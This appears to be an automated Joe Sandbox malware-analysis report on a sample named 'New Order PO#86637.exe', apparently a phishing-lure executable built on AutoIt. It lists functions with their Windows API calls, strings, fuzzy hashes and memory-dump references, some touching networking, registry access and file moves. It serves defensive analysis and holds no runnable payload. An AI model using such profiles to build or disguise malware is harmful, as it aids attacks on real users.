Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup
String ID: 0$2
API String ID: 93392585-3793063076
Opcode ID: f01c363b391305104942df3bb39f3e86dedaf87795108832ec1df4cdc4019c53
Instruction ID: a5f6d3c146e885c54ead74f35c39eec4acd60bc9fc93d28bc39e3d14768ea649
Opcode Fuzzy Hash: f01c363b391305104942df3bb39f3e86dedaf87795108832ec1df4cdc4019c53
Instruction Fuzzy Hash: B55192719002099BDB11DF69D888BAF7BB4BB44319F14853EEC15DB282D3B8984CCB66

Function 004352C2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

SafeArrayAccessData.OLEAUT32(?,?), ref: 004352E6
VariantClear.OLEAUT32(?), ref: 00435320
SafeArrayUnaccessData.OLEAUT32(?), ref: 00435340
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00435373
VariantClear.OLEAUT32(?), ref: 004353B3
SafeArrayUnaccessData.OLEAUT32(?), ref: 004353F6

Strings

crts, xrefs: 004352F7

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ArrayDataSafeVariant$ClearUnaccess$AccessChangeType
String ID: crts
API String ID: 586820018-3724388283
Opcode ID: 545d374044e3945891266c858ffc3b068b1e43ab9a1ba77500f3c10b34ab4cdf
Instruction ID: e94501f388d0d73ced66c0aa9444ce68fa972137b9c89e1913ae9ea64c05cbbc
Opcode Fuzzy Hash: 545d374044e3945891266c858ffc3b068b1e43ab9a1ba77500f3c10b34ab4cdf
Instruction Fuzzy Hash: DE418BB5200208EBDB10CF1CD884A9AB7B5FF9C314F20852AEE49CB351E775E911CBA4

Function 0044BBD2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 105filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00410120: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\New Order PO#86637.exe,0040F545,C:\Users\user\Desktop\New Order PO#86637.exe,004A90E8,C:\Users\user\Desktop\New Order PO#86637.exe,?,0040F545), ref: 0041013C

lstrcmpiW.KERNEL32(?,?), ref: 0044BC09
MoveFileW.KERNEL32(?,?), ref: 0044BC3F
_wcscat.LIBCMT ref: 0044BCAF
_wcslen.LIBCMT ref: 0044BCBB
_wcslen.LIBCMT ref: 0044BCD1
SHFileOperationW.SHELL32(?), ref: 0044BD17

Strings

\*.*, xrefs: 0044BCA9

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: File_wcslen$FullMoveNameOperationPath_wcscatlstrcmpi
String ID: \*.*
API String ID: 2326526234-1173974218
Opcode ID: dfa273c9728ae0aa44cf40aad3cddd2261aca17058b0337a789aafef13e29e40
Instruction ID: cfb238852dc788c6f4e4306d35388aa956c556a9525b71239849112dc74cb112
Opcode Fuzzy Hash: dfa273c9728ae0aa44cf40aad3cddd2261aca17058b0337a789aafef13e29e40
Instruction Fuzzy Hash: 5C3184B1800219AACF14EFB1DC85ADEB3B5AF48304F5095EEE90997211EB35D748CB98

Function 004335CD Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 90COMMON

Download Yara Rule

APIs

Part of subcall function 00433244: _wcsncpy.LIBCMT ref: 0043325C

_wcslen.LIBCMT ref: 004335F2
GetFileAttributesW.KERNEL32(?), ref: 0043361C
GetLastError.KERNEL32 ref: 0043362B
CreateDirectoryW.KERNEL32(?,00000000), ref: 0043363F
_wcsrchr.LIBCMT ref: 00433666

Part of subcall function 004335CD: CreateDirectoryW.KERNEL32(?,00000000), ref: 004336A7

Strings

\, xrefs: 004335FE

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast_wcslen_wcsncpy_wcsrchr
String ID: \
API String ID: 321622961-2967466578
Opcode ID: bb0dad1fe383a450cc5ca78da39c882eba2540a6c71c70dd25c8590f96c38e52
Instruction ID: 66c6ecc179b40ab72a0151a8d865592f5e80cbeaaa2383c239fb12261b929cf9
Opcode Fuzzy Hash: bb0dad1fe383a450cc5ca78da39c882eba2540a6c71c70dd25c8590f96c38e52
Instruction Fuzzy Hash: C72129719013146ADF30AF25AC06BEB73AC9B05715F10569AFD18C2241E6799A888BE9

Function 0044C7DD Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 88COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 0044C7F0
__wcsnicmp.LIBCMT ref: 0044C8AE

Strings

#OnAutoItStartRegister, xrefs: 0044C810
#requireadmin, xrefs: 0044C8A8
#notrayicon, xrefs: 0044C7EA

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 1038674560-2734436370
Opcode ID: 8f8f9edfa5db0492502b932a8328ea4ae50c7534afe07431ae24ccbcd5f30aff
Instruction ID: d05ed79ef8649e951018b8bbb1c2d61e3c33a7345c6b0b1fc41c187b8edaa79f
Opcode Fuzzy Hash: 8f8f9edfa5db0492502b932a8328ea4ae50c7534afe07431ae24ccbcd5f30aff
Instruction Fuzzy Hash: 1221003365151066E72176199C82FDBB3989FA5314F04442BFE049B242D26EF99A83E9

Function 0041793C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,0048D148,00000008,00417A44,00000000,00000000,?,004115F6,?,00401BAC,?,?,?), ref: 0041794D
__lock.LIBCMT ref: 00417981

Part of subcall function 004182CB: __mtinitlocknum.LIBCMT ref: 004182E1
Part of subcall function 004182CB: __amsg_exit.LIBCMT ref: 004182ED
Part of subcall function 004182CB: EnterCriticalSection.KERNEL32(004115F6,004115F6,?,00417986,0000000D,?,004115F6,?,00401BAC,?,?,?), ref: 004182F5

InterlockedIncrement.KERNEL32(FF00482A), ref: 0041798E
__lock.LIBCMT ref: 004179A2
___addlocaleref.LIBCMT ref: 004179C0

Strings

pI, xrefs: 004179B5
KERNEL32.DLL, xrefs: 00417948

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID: KERNEL32.DLL$pI
API String ID: 637971194-197072765
Opcode ID: de2ab6b473c2d5586c9f362b8c2f57dc22cd34abb7029a86a899895714b74b87
Instruction ID: a50d44c6e21ae10dfe2421e8c890a682036196f235240147777d58dc068d601e
Opcode Fuzzy Hash: de2ab6b473c2d5586c9f362b8c2f57dc22cd34abb7029a86a899895714b74b87
Instruction Fuzzy Hash: A401A171404B00EFD720AF66C90A78DBBF0AF50324F20890FE496536A1CBB8A684CB5D

Function 0046822A Relevance: 12.3, APIs: 8, Instructions: 267COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004682B8

Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1

_memmove.LIBCMT ref: 00468319
_memmove.LIBCMT ref: 0046834A
_memmove.LIBCMT ref: 004683A6
_memmove.LIBCMT ref: 00468438
_memmove.LIBCMT ref: 0046845F

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _memmove$_malloc
String ID:
API String ID: 1938898002-0
Opcode ID: ed671e0929b530e8a80a3994f14b14e6c4fa5d49d1ff8bec0f484948025a4d18
Instruction ID: bb51e0d14dcfee45c4d36839732496dc4400bff611838f67d83ec86e680bb9ef
Opcode Fuzzy Hash: ed671e0929b530e8a80a3994f14b14e6c4fa5d49d1ff8bec0f484948025a4d18
Instruction Fuzzy Hash: FC81CB726001195BDB00EF66DC42AFF7368EF84318F040A6FFD04A7282EE7D995587A9

Function 00448D38 Relevance: 12.2, APIs: 8, Instructions: 165windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004413AA: DeleteObject.GDI32(?), ref: 0044140B

SendMessageW.USER32(75A923D0,00001001,00000000,?), ref: 00448E16
SendMessageW.USER32(75A923D0,00001026,00000000,?), ref: 00448E25

Part of subcall function 00441432: CreateSolidBrush.GDI32(?), ref: 0044147E

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: MessageSend$BrushCreateDeleteObjectSolid
String ID:
API String ID: 3771399671-0
Opcode ID: 66a9d50f8c9d6af755a83d84fc10a8c9f79f913464eba51571b63e3dd0d935a7
Instruction ID: 7a731ed810a83f1ebb4df5e1cc4d29f9b75a103154dfe2ed632c3d1cef216bf4
Opcode Fuzzy Hash: 66a9d50f8c9d6af755a83d84fc10a8c9f79f913464eba51571b63e3dd0d935a7
Instruction Fuzzy Hash: 72513970204244AFF720DF24CC85FAE7BB9AF15314F10495EFA999B292CB79E549CB18

Function 0044B489 Relevance: 12.1, APIs: 8, Instructions: 102fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 0044B4A7

Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1

ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 0044B4DA
EnterCriticalSection.KERNEL32(?), ref: 0044B4F7
_memmove.LIBCMT ref: 0044B555
_memmove.LIBCMT ref: 0044B578
LeaveCriticalSection.KERNEL32(?), ref: 0044B587
ReadFile.KERNEL32(?,?,0000FFFF,00000000,00000000), ref: 0044B5A3
InterlockedExchange.KERNEL32(?,000001F6), ref: 0044B5B8

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterLeave_malloc
String ID:
API String ID: 2737351978-0
Opcode ID: c49c3180d4577c37a1564da55573a5370bada98f09f15d951758cfc7caeaac8d
Instruction ID: 70cbfa243a2dcbaabd352bc30cb9c3ad46017a318630e818b765f133545e4983
Opcode Fuzzy Hash: c49c3180d4577c37a1564da55573a5370bada98f09f15d951758cfc7caeaac8d
Instruction Fuzzy Hash: 4F41BC71900308EFDB20DF55D984EAFB7B8EF48704F10896EF54696650D7B4EA80CB58

Function 00415214 Relevance: 12.1, APIs: 8, Instructions: 66threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 0041523A
__calloc_crt.LIBCMT ref: 00415246
__getptd.LIBCMT ref: 00415253
CreateThread.KERNEL32(00000000,?,004151BB,00000000,00000004,00000000), ref: 0041527A
ResumeThread.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 0041528A
GetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 00415295
_free.LIBCMT ref: 0041529E
__dosmaperr.LIBCMT ref: 004152A9

Part of subcall function 00417F77: __getptd_noexit.LIBCMT ref: 00417F77

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Thread$CreateErrorLastResume___set_flsgetvalue__calloc_crt__dosmaperr__getptd__getptd_noexit_free
String ID:
API String ID: 3638380555-0
Opcode ID: 75aec11f1c25db1a83b42845bb08a83361ad021f560e0ff3c611ac6fdc7cb8ab
Instruction ID: 1ae632b5747f25178f06b1f704b10109f3b838f12a9538f44878b4cc3517b2ff
Opcode Fuzzy Hash: 75aec11f1c25db1a83b42845bb08a83361ad021f560e0ff3c611ac6fdc7cb8ab
Instruction Fuzzy Hash: 31110A33105B00ABD2102BB69C45ADB37A4DF85734B24065FF924862D1CA7C98814AAD

Function 0046C84C Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 308COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0046C96E

Part of subcall function 00451B42: GetLastError.KERNEL32(?,?,00000000), ref: 00451BA0
Part of subcall function 00451B42: VariantCopy.OLEAUT32(?,?), ref: 00451BF8
Part of subcall function 00451B42: VariantCopy.OLEAUT32(-00000068,?), ref: 00451C0E
Part of subcall function 00451B42: VariantCopy.OLEAUT32(-00000088,?), ref: 00451C27
Part of subcall function 00451B42: VariantClear.OLEAUT32(-00000058), ref: 00451CA1

Strings

Null Object assignment in FOR..IN loop, xrefs: 0046C8ED, 0046CA5D, 0046CA79, 0046CB45
Incorrect Object type in FOR..IN loop, xrefs: 0046CA98

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Variant$Copy$ClearErrorInitLast
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 3207048006-625585964
Opcode ID: ca4782e3f1b8c357821c68e66e95b499971d8adc7301cf0feb6afda3dd37ffd4
Instruction ID: 684ba17e2c3ca727561f7970afa8535519679aefa5cdc663b381c32651820a10
Opcode Fuzzy Hash: ca4782e3f1b8c357821c68e66e95b499971d8adc7301cf0feb6afda3dd37ffd4
Instruction Fuzzy Hash: F6A19472600209ABDB10DF99DCC1EFEB3B9FB84714F10852EF604A7281E7B59D458BA5

Function 00465489 Relevance: 10.8, APIs: 7, Instructions: 281networkmemoryCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00465559

Part of subcall function 0045F645: WideCharToMultiByte.KERNEL32(00000000,00000000,5004C483,D29EE858,00000000,00000000,00000000,00000000,?,?,?,00467B75,?,00473BB8,00473BB8,?), ref: 0045F661

inet_addr.WSOCK32(?,00000000,?,?), ref: 0046559B
gethostbyname.WSOCK32(?), ref: 004655A6
GlobalAlloc.KERNEL32(00000040,00000040), ref: 0046561C
_memmove.LIBCMT ref: 004656CA
GlobalFree.KERNEL32(00000000), ref: 0046575C
WSACleanup.WSOCK32 ref: 00465762

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Global$AllocByteCharCleanupFreeMultiStartupWide_memmovegethostbynameinet_addr
String ID:
API String ID: 2945290962-0
Opcode ID: b73dd2c417b7ad13d51beda6076b83dea337e616a356c7a57e90c36d1df505c0
Instruction ID: 472bd1bc5547e678c188051989a3a6c7a671c7751f2ff3ad056c489052ad9926
Opcode Fuzzy Hash: b73dd2c417b7ad13d51beda6076b83dea337e616a356c7a57e90c36d1df505c0
Instruction Fuzzy Hash: CAA19E72604300AFD310EF65C981F5FB7E8AF88704F544A1EF64597291E778E905CB9A

Function 004404E8 Relevance: 10.8, APIs: 7, Instructions: 271windowCOMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000000F), ref: 00440527
MoveWindow.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00440763
SendMessageW.USER32(?,00000142,00000000,0000FFFF), ref: 00440782
InvalidateRect.USER32(?,00000000,00000001), ref: 004407A5
SendMessageW.USER32(?,00000469,?,00000000), ref: 004407DA
ShowWindow.USER32(?,00000000,?,00000469,?,00000000), ref: 004407FD
DefDlgProcW.USER32(?,00000005,?,?), ref: 00440817

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: MessageSendWindow$InvalidateMetricsMoveProcRectShowSystem
String ID:
API String ID: 1457242333-0
Opcode ID: d4bac657e1d3c25226f3662cee365975ebc34d7204b8b764d69e27e9e2fa035e
Instruction ID: 469fbb3f3db71b9324cb07d082b932f31bc4dcc79b85a5821822f518eef070f3
Opcode Fuzzy Hash: d4bac657e1d3c25226f3662cee365975ebc34d7204b8b764d69e27e9e2fa035e
Instruction Fuzzy Hash: 0BB19F71600619EFEB14CF68C984BAFBBF1FF48301F15851AEA5597280D738BA61CB54

Function 0046B6AB Relevance: 10.8, APIs: 7, Instructions: 258registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046B799

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ConnectRegistry_memmove_wcslen
String ID:
API String ID: 15295421-0
Opcode ID: af9aed33993baa0a6bbf415c0be9acaad95f35a4fb003459e4997ac6d107bcf3
Instruction ID: 8aea567fc0405534ed4901798b67d501f7e0ea7b8d3e81485b6dc33093e60a2a
Opcode Fuzzy Hash: af9aed33993baa0a6bbf415c0be9acaad95f35a4fb003459e4997ac6d107bcf3
Instruction Fuzzy Hash: 96A170B12043019FD710EF65CC85B1BB7E8EF85304F14892EF6859B291DB78E945CB9A

Function 00467511 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 213COMMON

Download Yara Rule

APIs

Part of subcall function 00402160: _wcslen.LIBCMT ref: 0040216D
Part of subcall function 00402160: _memmove.LIBCMT ref: 00402193

_wcstok.LIBCMT ref: 004675B2

Part of subcall function 00413EB8: __getptd.LIBCMT ref: 00413EBE

_wcscpy.LIBCMT ref: 00467641
GetOpenFileNameW.COMDLG32(00000058), ref: 00467774
_wcslen.LIBCMT ref: 00467793
_wcslen.LIBCMT ref: 004677BD

Part of subcall function 00461465: _memmove.LIBCMT ref: 004614F8

GetSaveFileNameW.COMDLG32(00000058), ref: 00467807

Strings

X, xrefs: 00467696

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
